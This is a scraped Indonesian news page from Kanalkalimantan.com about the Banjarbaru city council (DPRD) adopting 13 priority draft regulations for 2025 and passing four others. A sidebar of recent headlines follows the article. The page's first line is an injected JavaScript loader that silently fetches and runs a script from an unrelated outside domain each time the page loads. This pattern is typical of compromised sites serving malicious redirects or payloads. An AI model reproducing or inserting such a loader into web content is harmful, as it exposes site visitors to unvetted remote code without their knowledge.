(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Tetapkan 13 Raperda Prioritas 2025, Empat Perda Disahkan


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar rapat paripurna yang membahas Program Pembentukan Peraturan Daerah (Propemperda) untuk tahun 2025, Senin (30/9/2024) siang. Serta melakukan pengambilan keputusan terhadap empat Raperda yang telah diselesaikan pembahasan.

Rapat paripurna dipimpin Ketua DPRD Kota Banjarbaru Fadliansyah dihadiri Penjabat Sementara (Pjs) Wali Kota Banjarbaru, Dra Hj Nurliani MAP beserta jajaran pejabat Pemerintah Kota Banjarbaru di ruang Graha Paripurna DPRD Kota Banjarbaru.

Dalam rapat paripurna DPRD Kota Banjarbaru menetapkan 13 daftar prioritas Rancangan Peraturan Daerah (Raperda) yang akan dibahas tahun 2025 mendatang.

Ini Daftar 10 Raperda yang diusulkan Pemko Banjarbaru :
1. Raperda Tentang Pertanggung Jawaban Pelaksaaan Anggaran dan Belanja Tahun Anggaran 2024
2. Raperda Tentang Perubahan APBD 2025
3. Raperda Tentang APBD Tahun 2026
4. Raperda Tentang Ketenagakerjaan
5. Raperda Tentang Perubahan Peraturan Daerah Nomor 10 Tahun 2017 Tentang Pedoman Pengelolaan Barang Milik Daerah
6. Raperda Tentang Rencana Perlindungan dan Pengelolaan Lingkungan
7. Raperda Tentang Perubahan Atas Peraturan Daerah Kota Banjarbaru Nomor 10 Tahun 2018 tentang Pengelolaan Pemakaman
8. Raperda Tentang Pertanian Organik
9. Raperda Tentang Pemanfatan Pemanfaatan Teknologi Informasi Dalam Penyelenggaraan Administrasi Kependudukan Berbasis Teknologi
10. Raperda Tentang Rencana Pembangunan Jangka Menengah Daerah Tahun 2025-2029

Berikut 3 Raperda inisiatif DPRD Banjarbaru :
1. Raperda Penyelenggaraan Jalan
2. Raperda Pemberdayaan Organisasi Kemasyarakatan
3. Raperda Tentang Hasil Pengelolaan Kekayaan Daerah dan lain-lain Pendapatan Asli Daerah yang sah.

Ketua DPRD Banjarbaru berharap kedepan Raperda-Raperda tersebut dapat dibahas dan ditetapkan agar melahirkan peraturan daerah yang baik.

“Kita inginkan 13 Raperda yang disampaikan ditetapkan dalam Propemperda tahun 2025 dan dapat dibahas bersama, sehingga melahirkan Perda yang baik, sesuai asas pembentukannya,” harapnya.

Dalam agenda yang sama turut disahkan empat Raperda yang sebelumnya telah melewati proses pembahasan. Adapun Raperda yang telah disahkan menjadi Perda Kota Banjarbaru :
1. Raperda tentang penyelenggaraaan perumahan dan permukiman
2. Raperda tentang penyelenggaraan kesehatan
3. Raperda tentang pengelolaan sistem drainase perkotaan
4. Raperda tentang perubahan keempat atas Perda Kota Banjarbaru Nomor 7 Tahun 2009 tentang penambahan penyertaan modal Pemerintah Kota Banjarbaru pada Perusahaan Air Minum Intan Banjar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: kk


Muhammad Andi

Recent Posts

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

7 jam ago

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

19 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

20 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

This website uses cookies.